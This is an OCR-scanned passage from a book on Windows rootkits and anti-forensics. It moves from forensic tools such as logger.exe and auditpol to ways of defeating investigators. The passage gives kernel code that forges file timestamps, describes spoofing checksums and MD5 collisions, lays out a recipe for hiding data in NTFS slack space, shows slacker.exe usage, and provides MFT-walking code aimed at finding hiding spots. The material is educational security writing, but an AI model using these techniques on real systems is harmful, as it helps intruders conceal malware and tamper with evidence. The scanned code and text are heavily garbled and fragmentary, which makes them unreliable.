Behind the scenes, this tool does its job by injecting the logexts. dll file into the address space of the unknown executable, which "wraps" calls to the Windows API. By default, l ogger. exe records everything (the functions called, their arguments, return values, etc.) in an .lgv file, as in log viewer. This file is stored in a directory named LogExt s, which is placed on the user's current desktop. The .lgv files that logger. exe outputs are intended to be viewed with the logviewer. exe program, which also ships with the Windows Debugging Tools package.
Po rt III
I 535
In addition to all of these special-purpose diagnostic tools, there are settings within Windows that can be toggled to shed a little light on things. For example, a forensic investigator can enable the Audit Process Tracking policy so that detailed messages are generated in the Security event log every time a process is launched. This setting can be configured at the command line as follows:
C:\>auditpol /set /category:"detailed tracking" /success:enable /failure:enable The command was successfully executed.
Once this auditing policy has been enabled, it can be verified with the following command:
C:\>auditpol /get /category:"detailed tracking" System audit policy Category/Subcategory Setting Detailed Tracking Success Process Termination Success DPAPI Activity Success RPC Events Success Process Creation
If you want a truly detailed view of what a suspicious binary is doing, and you also want a greater degree of control over its execution path, using a debugger is the way to go. It's like an instant replay video stream during Monday night football, only midway through a replay you can shuffle the players around to see if things will turn out differently. At this point, computer forensics intersects head on with reverse engineering.
Earlier in the book I focused on (db. exe as a user-mode debugger because it served as a lightweight introduction to Kd . exe. Out on the streets, the OllyDbg debugger has gained a loyal following and is often employed. 16 If the investigator determines that the unknown binary is unpacking and loading a driver, he may take things a step further and wield a kernel-mode debugger so that he can suspend the state of the entire system and fiddle around. In a sense, run-time analysis can be seen as a superset of static analysis. During static analysis, a forensic investigator can scan for byte signatures that indicate the presence of malicious software. During run-time analysis, a forensic investigator can augment signature-based scanning with tools that perform heuristic and cross-view detection. Likewise, the dumpbin. exe tool, which enumerates the routines imported by an executable, can be seen as the static analog of logger. exe. A program on disk can be dissected by a disassembler. A program executing in memory can be dissected by a
16 httpJ/www.ollydbg.de/
debugger. For every type of tool in static analysis, there's an analog that can be used in run-time analysis that either offers the same or additional information (see Table 10-2).
Table 102
Static AnalysIs Tool Signature-based malware detection
dumpbin.exe
IDA Pro
Pa rl III
I 537
538
Pa rt III
skilled forensic investigator, hiding raw, unencoded data in the HPA or DCO offers little or no protection (or, even worse, a false sense of security).
Po rt III
I 539
The I/O manager then passes another IRP on to the disk driver, which maps the logical volume-relative offset to an actual physical location (i.e., cylinder/track/sector) and parlays with the HDD controller to read the requested data (see Figure 10-3).
GMGSystems dd .exe
Disk Driver
(disk.SY5)
Figure 103
As the program's path of execution makes its way from user space into kernel space, there are plenty of places where we could implement a patch to undermine the imaging process and hide files. We could hook the IAT in the memory image of dd . exe. We could hook the SSDT or implement a detour patch in NtReadFile(). We could also hook the IRP dispatch table in one of the drivers or implement a filter driver that intercepts IRPs (we'll look into filter drivers later in the book). Commercial tool vendors tend to downplay this problem (for obvious reasons). For example, Technology Pathways, the company that sells a forensic tool called ProDiscover, has the following to say about this sort of run time counterattack: 18
18 Christophe r Brown, Suspect Host Incident Verification in Incident Repsonse (IR), Technology Pathways, July 2005.
540
Po rt III
"Some administrators will suppose that if a rootkit could hook (replace) a file I/O request they could simply hook the sector level read commands and foil the approach that applications such as ProDiscover4P IR use. While this is true on the most basic level, hooking kernel sector read commands would have a trickle-down effect on all other kernel level file system operations and require a large amount of real-to-Trojaned sector mapping and/or specific sector placement for the rootkit and supporting files. This undertaking would not be a trivial task even for the most accomplished kernel mode rootkit author."
Note how they admit that the attack is possible, and then dismiss it as an unlikely thought experiment. The problem with this outlook is that it's not just a hypothetical attack. This very approach, the one they scoffed at as implausible, was implemented and presented at the AusCERT2006 conference. So much for armchair critics. At that conference a company called Security-Assessment.com showcased a proof-of-concept tool called DDefy, which uses a filter driver to capture IRP_MJ_READ I/O requests on their way to the disk driver so that requests for certain disk sectors can be modified to return sanitized information. This way a valid image can be created that excludes specific files (see Figure 10-4).
GMGSystems
dd.exe
Figure 10-4
As mentioned earlier in the book, one potential option left for a forensic investigator in terms of live disk imaging would be to use a tool that transcends the system's disk drivers by essentially implementing the functionality with its own dedicated driver. The disk imaging tool would interact with the driver directly (via DeviceloControl( )), perhaps encrypting the information that goes to and from the driver for additional security.
File wiping is based on the premise that you can destroy data by overwriting
it repeatedly. The Defense Security Service (DSS), an agency under the Department of Defense, provides a Clearing and Sanitizing Matrix (C&SM) that specifies how to securely delete data. Note how the DSS distinguishes between "clearing" and "sanitizing." Clearing data means that it can't be recovered using standard system tools. Sanitizing data takes things a step further. Sanitized data can't be recovered at all, even with expensive lab equipment (e.g., magnetic force microscopy). According to the DSS C&SM released in June of 2007, a hard drive can be cleared by overwriting "all addressable locations with a single character." Sanitizing generally requires a degaussing wand, which necessitates physical access. Some researchers feel that several overwriting passes are necessary. For example, Peter Gutmann, a researcher in the Department of Computer Science at the University of Auckland, developed a wiping technique known as the "Gutmann method" that utilizes 35 passes. This method was published in a well-known paper he wrote, entitled "Secure Deletion of Data from Magnetic and Solid-State Memory." 19 This paper was first presented at the 1996
19 http j/www.cs.auckland.ac.nz/-pgutOOl/pubs/secure_del.html
Usenix Security Symposium in San Jose, California, and proves just how paranoid some people can be. The Gnu Coreutils package has been ported to Windows and includes a tool called "shred" that can perform file wiping.20 Source code is freely available and can be inspected for a closer look at how wiping is implemented in practice. The shred utility can be configured to perform an arbitrary number of passes using a custom-defined wiping pattern. One thing to keep in mind is that utilities like shred depend upon the operating system overwriting data in place. For file systems configured to "journal data" (i.e., store recent changes to a special circular log before committing them permanently), RAID-based systems, and compressed file systems, the shred program cannot function reliably. Another thing to keep in mind is that in addition to scrubbing the bytes that constitute a file, the metadata associated with that file in the file system should also be completely obliterated. The grugq, whose work we'll see again repeatedly throughout this chapter, developed a package known as the Defiler's Toolkit to deal with this problem on the UNIX side of the fence. 21 Specifically, the grugq developed a couple of utilities called NecroFile and Klismafile to sanitize deleted inodes and directory entries. Another approach to foiling deleted file recovery is simply to encrypt data before it's written to disk. For well-chosen keys, triple-DES offers rock-solid protection. You can delete files enciphered with triple-DES without worrying too much. Even if the forensic investigators succeed in recovering them, all they will get is seemingly random junk. The linchpin of this approach, then, is preventing key recovery. Storing keys on disk is risky and should be avoided if possible (unless you can encrypt them with another key). Keys located in memory should be used and then the buffers used to store them should be wiped when they're no longer needed. Finally, the best way to safely delete data from a hard drive is simply not to write it to disk to begin with. This is the idea behind data contraception. We'll discuss data contraception near the end of this chapter.
20 http://gnuwin32.sourceforge.net/packageslcoreutils.htm 21 the grugq, "Defeating Forensic Analysis on Unix," Phrack, Volume 11, Issue 59.
Altering Timestamps
Timestamp manipulation can be performed using publicly documented information in the WDK. Specifically, it relies upon the proper use of the ZWOpenFile() and ZwSetInformationFile() routines, which can only be invoked at an IRQL equal to PASSIVE_LEVEL. The following sample code accepts the full path of a file and a Boolean flag. If the Boolean flag is set, the routine will set the file's timestamps to extremely low values. When this happens, tools like Windows Explorer will fail to display the file's timestamps at all, showing blank fields instead. When the Boolean flag is cleared, the timestamps of the file will be set to those of a standard system file, so that the file appears as though it has existed since the operating system was installed. The following code could be expanded upon to assign an arbitrary timestamp.
void processFile(IN PCWSTR fullPath, IN BOOLEAN wipe)
{
RtllnitUnicodeString(&fileName,fuIIPath); InitializeObjectAttributes
(
&ObjAttr,
llOUT
POBJECT~TTRlBUTES
OBJ_KERNEL_HANDLE,
if(KeGetCurrentlrql()!=PASSIVE_LEVEL)
{
IlaIT PHANDLE
e,
FILE_SYNCHRONOUS_IO_NONALERT
);
if(ntstatus!=STATUS_SUCCESS)
{
open
file");
fileBasiclnfo.CreationTime.LowPart=l; fileBasiclnfo. CreationTime. HighPart=0; fileBasiclnfo. LastAccessTime. LowPart=l; fileBasiclnfo.LastAccessTime.HighPart=0; fileBasiclnfo . LastwriteTime. LowPart=l; fileBasiclnfo.LastWriteTime.HighPart=0; fileBasiclnfo .ChangeTime . LowPart=l; fileBasiclnfo.ChangeTime.HighPart=0; fileBasiclnfo . FileAttributes = FILE_ATTRIBUTE_NORMAL;
}
else
{
fileBasiclnfo = getSystemFileTimeStamp();
ntstatus = ZwSetlnformationFile
(
if(ntstatus!=STATUS_SUCCESS)
{
DbgMsg("processFile","Set file timestamps"); ZwClose(handle); DbgMsg("processFile","Closed handle"); return; }/*end processFile()- ------------------ -------------- -------- --------------*/
When the FILE_INFORMATION_CLASS argument to ZwSetInformationFileO is set to FileBasicInformation, the routine's FileInformation void pointer expects the address of a FILE_BASIC_INFORMATION structure, which we met in Section 10.1. This structure stores four different 64-bit LARGE_INTEGER values that represent the number of lOO-nanosecond intervals since the start of 1601. When these values are small, the Windows API doesn't translate them correctly, and displays nothing instead. This behavior was first reported by Vinnie Liu of the Metasploit project.
> Nole:
Altering Checksums
The strength of the checksum is also its weakness: One little change to a file and its checksum changes. This means that we can take a normally innocuous executable and make it look suspicious by twiddling a few bytes. Despite the fact that patching an executable can be risky, most of them contain embedded character strings that can be manipulated without altering program functionality. For example, the following hex dump represents the first few bytes of the WinMail. exe program that ships with Vista.
ae
'G"Kif
III
546
Po rt III
We can alter this program's checksum by changing the word "DOS" to "dos."
MZ ......... yy .. ee ee ee ee ee ee ee 40 ee ee ee ee ee ee ee .' ...... @ eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee ee ee ee ee ee ee ee ee ee ee ee ee ES ee ee ee ...... . ..... e... 9E 1F BA 9E ee B4 99 CD 21 8S 91 4C CD 21 54 6S .. 2 .. ' .i! .. Li!Th
B8
ee 91 92 93 94 95 96 97 9S 99 9A 98 OC 00 9E 9F 40 SA ge ee 93 ee ee ee 94 ee ee ee FF FF ee ee
69 73 29 79 72 6F 67 72 61 6D 29 63 61 6E 6E 6F 74 29 62 65 29 72 75 6E 29 69 6E 29 6D 6F 64 65 2E 00 00 9A 24 ee ee ee 29
'fi.
is program canno
t be run in mode .... $ .......
ee ee ee ee
II
Institute this sort of mod in enough places, to enough files, and the end result is a deluge of false positives: Files that, at first glance, look like they may have been maliciously altered when they actually are still relatively safe.
Part III
1547
Peter Selinger, an associate professor of mathematics at Dalhousie University, has written a software tool called "evilize" that can be used to create MD5-colliding executables. 22 Marc Stevens, while completing his master's program thesis at the Eindhoven University of Technology, has also written software for generating MD5 collisions.23 This tactic can be soundly defeated by performing a raw binary comparison of the current file and its original copy. The forensic investigator might also be well advised to simply switch to a more secure hashing algorithm.
22 http://www.mathstat.dal.ca/-selinger/md5collisionl 23 http://www.win.tue.nVhashclash/
548
Pa rt III
Out-ofband hiding places data in a region of the disk that is not described by
the file system specification, such that the file system routines can't officially manage it. We've already seen examples of this with HPAs and DCOs. Though out-of-band locations can prove resistant to forensic analysis, they're also more difficult to manage because accessing them requires nonstandard tools.
In-band hiding places data in a region of the disk that is described by the file
system specification. Thus, the operating system can access in-band hiding spots via the file system. ADS files are a classic example of an in-band hiding spot. Unlike out-of-band locations, in-band locations generally take less effort to access. This makes them easier to identify once the corresponding concealment technique has been publicized.
Application layer hiding conceals data by leveraging file-level format specifications. In other words, rather than hide data in the nooks and crannies of a file system, identify locations inside the files within a given file system. There are ways to subvert executables and other binary formats so that we can store data in them without violating their operational integrity.
Out-o'-Band Hiding
Slack space is a classic example of out-of-band hiding. To a subgenius minister such as your author, it's a topic that's near and dear to my heart. Slack space exists because the operating system allocates space for files in terms of clusters (also known as allocation units), where a cluster is a contiguous series of one or more sectors of disk space. The number of sectors per cluster and the number of bytes per sector can vary from one installation to
the next. The following table specifies the default cluster sizes on an NTFS volume:
Tobie 10-3
Volume Size less thon 512 MB 513MB-1GB 1GB - 2 GB 2 GB - 2TB Cluster Size 512 bytes (1 sector) 1 KB 2 KB 4 KB
You can determine these parameters at run time using the following code:
BOOL okj DWORD SectorsPerCluster DWORD BytesPerSector DWORD NumberOfFreeClusters DWORD TotalNumberOfClusters ok = GetDiskFreeSpace
(
=
9j
= 9j = 9j
=
9j
NULL, II(defaults to root of current drive) &Sectors PerC luster, &BytesPerSector, &NumberOfFreeClusters, &TotalNumberOfClusters
)j
if( !ok) {
Given that the cluster is the smallest unit of storage for a file, and that the data stored by the file might not always add up to an exact number of clusters, there's bound to be a bit of internal fragmentation that results. Put another way, the logical end of the file will often not be equal to the physical end of the file, and this leads to some empty real estate on disk.
>
Nole: This discussion applies to "n onresident" NTFS files that reside outside the Master File Table (MFT) . Smaller files (e .g., less than a sector in size) are often directly stored in the MFT to optimize storage, depending upon the characteristics of the file . For example, a single-stream text file that consists of a hundred bytes, has a short name, and no ACLs, will almost always be resident in the MFT.
550
Port III
Let's look at example to clarify this. Assuming we're on a system where a cluster consists of eight sectors, where each sector is 512 bytes, a text file consisting of 2,000 bytes will use less than half of its cluster. This extra space can be used to hide data (see Figure 10-5). This slack space can add up quickly, offering plenty of space for us to stow our sensitive data.
Logical En d-ol-File Physical En d-ol -File
Cluster
Figure 10-5
The distinction is sometimes made between RAM slack and drive slack (see Figure 10-6). RAM slack is the region that extends from the logical end of the file to end of the last partially used sector. Drive slack is the region that extends from the start of the following sector to the physical end of the file. During file write operations, the operating system zeroes out the RAM slack, leaving only the drive slack as a valid storage space for the sensitive data that we want to hide.
RAM Slack Drive Slack
setto
sector
sector
Figure 10-6
While you may suspect that writing to slack space might require some fancy low-level acrobatics, it's actually much easier than you think. The process for storing data in slack space uses the following recipe:
1.
2.
Open the file and position the current file pointer at the logical EOF. Write whatever data you want to store in the slack space (keep in mind RAM slack).
Part III
I 551
3.
Truncate the file, nondestructively, so that the slack data is beyond the logical EOE
This procedure relies heavily on the SetEndOfFile() routine to truncate the file nondestructively back to its original size (i.e., the file's final logical end-of-file is the same as its original). Implemented in code, this looks something like:
//set the FP to the end of the file lowOrderBytes = SetFilePointer
(
if(lowOrderBytes==INVALID_SET_FILE_POINTER)
{
//HANDLE hFile //LPCVOID IpBuffer //DWORO nNumberOfBytesToWrite / /LPDWORO IpNumberOfBytesWri tten //LPOVERLAPPED lpOverlapped
if(!ok)
{
if(lowOrderBytes==INVALID_SET_FILE_POINTER)
{
552
Pa rt III
ok
if( !ok) { }
Recall that I mentioned that the OS zeroes out RAM slack during write operations. This is how things work on Windows XP and Windows Server 2003. However, on more contemporary systems, like Windows Vista, it appears that the folks in Redmond (being haunted by the likes of Vinnie Liu) wised up and have altered the OS so that it zeroes out slack space in its entirety during the call to SetEndOfFileO.
>
Note: See Slack in the appendix for a complete source code listing .
This doesn't mean that slack space can't be utilized anymore. Heck, it's still there, it's just that we'll have to adopt more of a low-level approach (i.e., raw disk I/O) that isn't afforded to us in user mode. Suffice it to say that this would force us down into kernel mode. Another thing to keep in mind is that you can still use the above code on Vista for resident files that have been stored directly in the MIT. For whatever reason, the zeroing-out fix they implemented for nonresident files didn't carry over to resident files. The catch is that you'll be very limited in terms of how much data you can store (perhaps an encoded file encryption key?). Given that the NTFS file system allocates 1,024 bytes per MFT entry, by default, a small text file would probably afford you a few hundred bytes worth of real estate. Be warned that Vista terminates resident files with the following quad word: exFFFFFFFF11477982, so you'll need to prefix your resident file slack data with a safety buffer of some sort (-32 bytes ought to do the trick). Reading slack space and wiping slack space use a process that's actually a bit simpler than writing to slack space:
1.
Open the file and position the current file pointer at the logical EOF. Extend the logical EOF to the physical EOF. Read/overwrite the data between the old logical EOF and the physical EOF. Truncate the file back to its original size by restoring the old logical EOF.
2. 3. 4.
Po rt "I
I 553
Reading (or wiping, as the case may be) depends heavily on the Set FileValidData() routine to nondestructively expand out a file's logical terminus (see Figure 10-7). Normally, this function is called to create large files quickly.
Logical EOF Physical EOF
_UDalml
Logical EOF (after call to SetEndOfFile O)
File Pointer
Physical EOF
File Pointer
Figure 10-7 As mentioned earlier, the hardest part about out-of-band hiding is that it requires special tools. Utilizing slack space is no exception. In particular, a tool that stores data in slack space must keep track of which files get used and how much slack space each one provides. This slack space metadata will need to be archived in an index file of some sort. This metadata file is the Achilles heel of the tactic; if you lose the index file, you lose the slack data. Another downside to using this tactic is that it's not necessarily reliable. Files that are the target of frequent I/O operations have a tendency to grow sporadically, overwriting whatever was in the slack space. Hence, it's best to use slack space in files that don't change that much. The problem with this is that it can be difficult for an automated tool to predict if a file is going to grow or not. While slack space is a definitely a clever idea, most of the standard forensic tools can dump it and analyze it. Once more, system administrators can take proactive measures by periodically wiping the slack space on their drives.
If you're up against average Joe system administrator, using slack space can still be pulled off. However, if you're up against the alpha geek forensic investigator whom I described at the beginning of the chapter, you'll have to
5541 Port III
augment this tactic with some sort of data transformation and find some way to camouflage the slack space index file . True to form, the first publicly available tool for storing data in slack space was released by the Metasploit project as a part of their Metasploit Anti4 Forensic Investigation Arsenal CMAFIA).2 The tool in question is called slacker. exe, and it works like a charm on XP and Windows Server 2003. Its command-line usage and query output is as follows:
Hiding a file in slack space: slacker.exe -s <file> <path> <levels> <metadata> [password] [-dxi] [-n:-k:-f <xorfile>] -s store a file in slack space <file> file to be hidden <path> root directory in which to search for slack space <levels> depth of subdirectories to search for slack space <metadata> file containing slack space tracking information [password] passphrase used to encrypt the metadata file -dxi dumb, random, or intelligent slack space selection -nkf none, random key, or file based data obfusaction <xorfile> the file whose contents will be used as the xor key Restoring a file from slack space: slacker.exe -r <metadata> [password] [-0 outfile]
-r
restore a file from slack space file containing slack space tracking information passphrase used to decrypt the metadata file output file, else original location is used, no clobber
In-Band Hiding
The contemporary file system is a veritable metropolis of data structures. Like any urban jungle, it has its share of back alleys and abandoned buildings. Over the past few years there've been fairly sophisticated methods developed to hide data within different file systems. For example, the researcher known as the grugq came up with an approach called the file insertion and subversion technique (FIST). The basic idea behind FIST is that you find an obscure storage spot in the file system infrastructure and then find some way to use it to hide data (e.g., as the grugq observes, the developer should "find a hole and then FIST it"). Someone obviously has a sense of humor.
24 http://www.metasploit.com/research/projects/antiforensics/
Data hidden in this manner should be stable, which is to say that it should be stored such that: The probability of the data being overwritten is low. It can survive processing by a file system integrity checker without generating an error. A nontrivial amount of data can be stored.
The grugq went on to unleash several UNIX-based tools that implemented this idea for systems that use the Ext2 and Ext3 file system. This includes software like Runefs, KY FS, and Data Mule FS (again with the humor). Runefs hides data by storing it in the system's "bad blocks" file. KY FS (as in, Kill Your File System or maybe K-Y Jelly) conceals data by placing it in directory files . Data Mule FS hides data by burying it in inode reserved space.25 It's possible to extend the tactic of FISTing to the Windows platform. The NTFS Master File Table (MFT) is a particularly attractive target. The MFT is the central repository for file system metadata. It's essentially a database that contains one or more records for each file on an NTFS file system.
> Nole:
The official Microsoft technical reference doesn't really go beyond a superficial description of the NTFS file system (though it is a good starting point). To dig down into details, you'll need to visit the Linux-NTFS wiki .26 The work at this site represents a campaign of reverse-engineering that spans several years . It contains both formal specification documents and source code header files that you'll find very useful.
The location of the MFT can be determined by parsing the boot record of an NTFS volume, which I've previously referred to as the Windows volume boot record (VBR). According to the NTFS technical reference, the first 16 sectors of an NTFS volume (i.e., logical sectors 0 through 15) are reserved for the boot sector and boot code. If you view these sectors with a disk editor like HxD, you'll see that almost half of these sectors are empty (i.e., zeroed out). The layout of the first sector, the NTFS boot sector, is displayed in Figure 10-8.
25 The grugq, The Art of Defiling: Defeating Forensic Analysis, Black Hat 2005, United States. 26 http://www.linux-ntfs.orgldoku.php
JMP Instruction
OEMIO
[8 Bytes]
Extend.d BPB
(EBPB) [48 Bytes ]
Boot Cod.
[426 Bytes ]
Figure 10-8 The graphical representation in Figure lO-8 can be broken down even further using the following C structure:
#pragma pack(l) typedef struct _BOOTSECTOR
{
//JMP instruction and NOP BYTE jmp(3); //9x4E54465329292929 = "NTFS BYTE oemIO[8]; //BPB---------------------------WORD bytesPerSector; BYTE sectoresPerCluster; WORD reservedSectors; BYTE filler_l[29); //EBPB----------- -- --- ----------BYTE filler_2[4); LONGLONG t otalDiskSectors; //LCN = logical cluster number LONGLONG mftLCN; //location of MFT backup copy (i.e . , mirror) LONGLONG MftMirrLCN; //clusters per FILE record in MFT BYTE clustersPerMFTFileRecord; BYTE filler_3[3); BYTE clustersPerMFTIndexRecord; //clusters per INDX record in MfT BYTE filler _4[ 3) ; LONGLONG volumeSN; //SN = serial number BYTE filler_5[4); / /Sootstrap Code- - --- --- - --- -- -- -BYTE code[426); //boot sector machine code WORD endOfSector; / /9x55AA }BOOTSECTOR, *PBOOT5ECTOR; #pragma pack ()
The first 3 bytes of the boot sector comprise two assembly code instructions: a relative JMP and a NOP instruction. At run time, this forces the processor to jump forward 82 bytes, over the next three sections of the boot sector, and proceed straight to the boot code. The OEM ID is just an eight-character string that indicates the name and version of the OS that formatted the volume. This is usually set to "NTFS" suffixed by four space characters (e.g.,
ex2e).
Part III
1557
The next two sections, the BIOS parameter block (BPB) and the extended BIOS parameter block (EBPB), store metadata about the NTFS volume. For example, the BPB specifies the volume's sector and cluster size use. The EBPB, among other things, contains a field that stores the logical cluster number (LeN) of the MIT. This is the piece of information that we're interested in. Once we've found the MIT, we can parse through its contents and look for holes where we can stash our data. The MIT, like any other database table, is just a series of variable-length records. These records are usually contiguous (though, on busy file system, this might not always be the case). Each record begins with a 48-byte header (see Figure 10-9) that describes the record, including the number of bytes allocated for the record and the number of those bytes that the record actually uses. Not only will this information allow us to locate the position of the next record, but it will also indicate how much slack space there is.
MFT Repository
Record Record 1 Record 2 Record 3 Record 4 Record 5 Record 6
Figure 10-9
From the standpoint of a developer, the MFT record header looks like:
#define SZ_MFT_HEADER 48 #pragma pack(l) typedef struct _MFT_HEADER { IW)R() magic; / / [94] //[06] ..am usOffset; ..am usSize; / /[08] //[16] LOOGLOOG lsn; ..am seqNunber; //[18] ..am nLinks; //[29]
MFT record type (magic nllllber) offset to update sequence Size in words of update sequence number & array $LogFile sequence nllllber for this record NlIIIber of times this MFT record has been reused Number of hard links to this file
558
Po rt III
WORD attrOffsetj 11[22] Byte offset to the first attribute in record WORD flagsj 11[24] 9x9l record is in use, 9x92 record is a directory IWlRO bytesUsedj 11[2B] Nunber of bytes used by this MfT record IWlRO bytesAllocj 11[32] Number of bytes allocated for this MFT LONGLONG baseRecj 11[49] File reference t o the base FILE record WORD nextIOj 11[42] next attribute 10 Ilwindows XP and above------------------- - --------------WORD reservedj 11[44] Reserved for alignment purposes IWlRO recordNunber j I I [48] Number of this MFT record
}MFT_HEADER, *PMFT_HEADERj
#pragma packO
The information that follows the header, and how it's organized, will depend upon the type of MIT record you're dealing with. You can discover what sort of record you're dealing with by checking the 32-bit value stored in the magic field of the MFT_HEADER structure. The following macros define nine different types of MIT records:
IIRecord TypeS
#define #define #define #define #define #define #define #define #define MFT_FILE MFT_INDX MfT_HDLE MFT_RSTR MFT_RCRD MFT_CH<D MFT_BAAD
MFT_~ty
MFT_ZERO
II MFT file or directory II Index buffer I I ? (NTFS 3.0+?) I I Restart page I I Log record page II Modified by chkdsk II Failed multi-sector transfer was detected II Record is ~ty, not initialized II zeroes
Records of type MFTJILE consist of a header, followed by one or more variable-length attributes, and then terminated by an end marker (i.e., 0xFFFFFFF F). See Figure 10-10 for an abstract depiction of this sort of record.
Used Bytes Empty Space
Attribute
Figure 1010
represent a file or a directory. Thus, from the vantage point of the NTFS file system, a file is seen as a collection of file attributes. Even the bytes that physically make up a file on disk (e.g., the ASCII text that appears in a configuration file or the binary machine instructions that constitute an executable) are seen as a sort of attribute that NTFS associates with the file . Because MIT records are allocated in terms of multiples of disk sectors, where each sector is usually 512 bytes in size, there may be scenarios
MFTJILE records
Po rt III
I 559
where the number of bytes consumed by the file record (e.g., the MFT record header, the attributes, and the end marker) is less than the number of bytes initially allocated. This slack space can be used as a storage area to hide data. Each attribute begins with a 24-byte header that describes general characteristics that are common to all attributes (this 24-byte blob is then followed by any number of metadata fields that are specific to the particular attribute). The attribute header can be instantiated using the following structure definition:
#define SZ_ATTRIBUTE_HDR 24 #pragma pack(l) typedef struct _ATTR_HEADER
{
//[4] type; I:WJRO length; //[4] B YTE nonR esident; //[1] BYTE namelength; //[1] Io.ORO nameOffset; //[2] Io.ORO flags; //[2] Io.ORO attrIO; //[2] !WlRD valuelength; //[4] Io.ORO valueOffset; //[2] BYTE Indexedflag; //[1] BYTE padding; //[1] }ATTR_HEAOER, *PATTR_HEAOER; #pragma pack()
!WlRD
Attribute type (e .g. , $FIlE_NAME, $DATA, . . . ) length of attribute (including header) Nonresident flag Size of attribute name (in wchars) Byte offset to attribute name Attribute flags Each attribute has a unique identifier length of attribute (in bytes) Offset to attribute Indexed flag Padding
The first field specifies the type of the attribute. The following set of macros provides a sample list of different types of attributes:
#define #define #define #define #define #define #define #define #define #define #define #def ine #define #define ATTR_STANDARD_INFORMATION
ATTR~TTRIBUTE_lIST
ATTRJIlE3WIE ATTR_DBJECT_IO ATTR _SECURITY_OESCRIPTOR ATTR _VOlUME_NAME ATTR_VOlUME_INFORMATION ATTR_DATA ATTR_INDEX_ROOT ATTR_INDEX_AllOCATION ATTR_BITMAP ATTR_R EPARSE_POINT ATTR_EA _INFORMATION ATTR_EA
9xeeooee19 9xeeooee29 9xeeooee39 9x99OOOO4e 9xeeooeeS9 9xOO99OO69 9xeeooee79 9xOOOO9989 9x90090099 9xaaaaaaA0 9xaaaaaooe 9xaaaaaac9
axaaaaaaoa
9xeeooeeE9
The prototypical file on an NTFS volume will include the following four attributes in the specified order (see Figure 10-11): The $STANDARD_INFORMATION attribute The $FILE_NAME attribute
560
Po rt III
Figure 10-11
The $STANDARD_INFORMATION attribute is use to store timestamps and old DOS-style file permissions. The $FILE_NAME attribute is use to store the file's name, which can be up to 255 Unicode characters in length. The $SECURITY_DESCRIPTOR attribute specifies the ACLs associated with the file and ownership information. The $DATA attribute describes the physical bytes that make up the file. Small files will sometimes be "resident," such that they're stored entirely in the $DATA section of the MFT record rather than being stored in external clusters outside of the MFT. Of these four attributes, we'll limit ourselves to digging into the $FILE_NAME attribute. This attribute is always resident, residing entirely within the confines of the MFT record. The body of the attribute, which follows the attribute header on disk, can be specified using the following structure:
#define SZ_ATTRlBUTE_FNAME #pragrna pack(l) typedef struct _ATTR_FNAME
{
576
LCN;LCN; refj LCN;LCN; cTimej LCN;LCN; aTimej LCN;LCN; mTimej LCN;LCN; rTimej LCN;LCN; bytesAllocj LCN;LCN; bytesUsedj twJR[) flags j twJR[) reparse j BYTE lengthj BYTE nspacej IoaORO fileName[SZJILENAME]j }ATTR_FNAME, *PATTR_FNAMEj #pragrna pack ()
//[8] File reference to the parent directory //[8] C Time - File Creation //[8] A Time - File Altered //[8] MTime - File Changed //[8] R Time - File Read / /[8] Nunber of bytes allocated on disk //[8] Number of bytes used by file //[4] flags / / [4] Used by EAs and reparse //[1] Size of file name in characters / / [1] namespace //[510] first char of file name
The file name will not always require all 255 Unicode characters, and so the storage space consumed by the fileName field may spill over into the following attribute. However, this isn't a major problem because length field will prevent us from accessing things that we shouldn't. As a learning tool, I cobbled together a rather primitive KMD that walks through the MFT. It examines each MFT record and prints out the bytes used by the record and the bytes allocated by the record. In the event that the
Port III
I 561
>
Note: See MFT in the appendix for a complete source code listing .
This code begins by reading the boot sector to determine the LCN of the MFT. In doing so, there is a slight adjustment that needs to be made to the boot sector's clustersPerMFTFileReeord and clustersPerMFTIndexReeord fields . These I6-bit values represent signed words. If they're negative, then the number of clusters allocated for each field is two raised to the absolute value of these numbers.
//read boot sector to get LeN of MFT handle = getBootSector(&bsector); if(handle == NULL){ return(STATUS_SUCeESS); } correctBootSectorFields(&bsector); printBootSector(bsector); //Parse through file entries in MFT processMFT(bsector, handle); / / close up shop ZwClose(handle);
Once we know the LCN of the MIT, we can use the other parameters derived from the boot sector (e.g., the number of sectors per cluster and the number of bytes per sector) to determine the logical byte offset of the MFT. Ultimately, we can feed this offset to the ZwReadFile() system call to implement seek-and-read functionality; otherwise, we'd have to make repeated calls to ZwReadFile() to get to the MFT and this could be prohibitively expensive. Hence, the following routine doesn't necessarily get the "next" sector, but rather it retrieves a sector's worth of data starting at the byteOffset indicated.
BOOLEAN getNextSector
(
NTSTATUS IO_STATUS_BLOCK
ntstatus; ioStatusBlock;
ntstatus = ZwReadFile handle, MJLL, MJLL, MJLL, &ioStatusBlock, (PIIOID) sector, sizeof(SECTOR), byteOffset, MJLL
);
IlIN HAN:>LE FileHandle IIIN HAN:>LE Event (Null for drivers) IIIN PIO_APC_ROUTINE ApcRoutine (Null for drivers) IIIN PIIOID ApcContext (Null for drivers) llOUT PIO_STATUS_BLOCK IoStatusBlock llOUT PIIOID Buffer IIIN ULONG Length IIIN PLARGE_INTEGER ByteOffset OPTIONAL IIIN PULONG Key (Null for drivers)
if(ntstatus!=STATUS_SUCCESS)
{
return(FALSE); return(TRUE);
After extracting the first record header from the MIT, we use the bytesAlloc field in the header to calculate the offset of the next record header. In this manner we jump from one MFT record header to the next, printing out the content of the headers as we go. Each time we encounter a record we check to see ifthe record represents a MFTJILE instance and, if so, we drill down into its $FILE_NAME attribute and print out its name.
void processMFT(BOOTSECTOR bsector, HAN:>LE handle)
{
LONG LONG i; BOOLEAN ok; SECTOR sector; MFT_HEADER mftHeader; LARGE_INTEGER mftByteOffset; WCHAR fileName[SZJILENAME+1] = L"--Not A File--"; [W)RO count;
Ilget byte offset to first MFT record from boot sector mftByteOffset .QuadPart = bsector.mftLCN; mftByteOffset.QuadPart = mftByteOffset.QuadPart * bsector.sectoresPerCluster; mftByteOffset.QuadPart = mftByteOffset.QuadPart * bsector.bytesPerSector;
count = 9; DBG_PRINT2("\n[processMFT]: offset = %I64X",mftByteOffset.QuadPart); ok = getNextSector(handle,&Sector,&mftByteOffset); if( !ok)
{
Pa rt III
I 563
//read first MFT and attributes DBG_PRINT2(" [processMFT): Record [%7d) ",count) j mftHeader = extractMFTHeader(§or)j printMFTHeader(mftHeader)j //get record's fileName and print it (if possible) getRecordFileName(mftHeader, sector, fileName) j DBG_PRINT2(" [processMFT): fileName = %5", fileName) j while(TRUE)
{
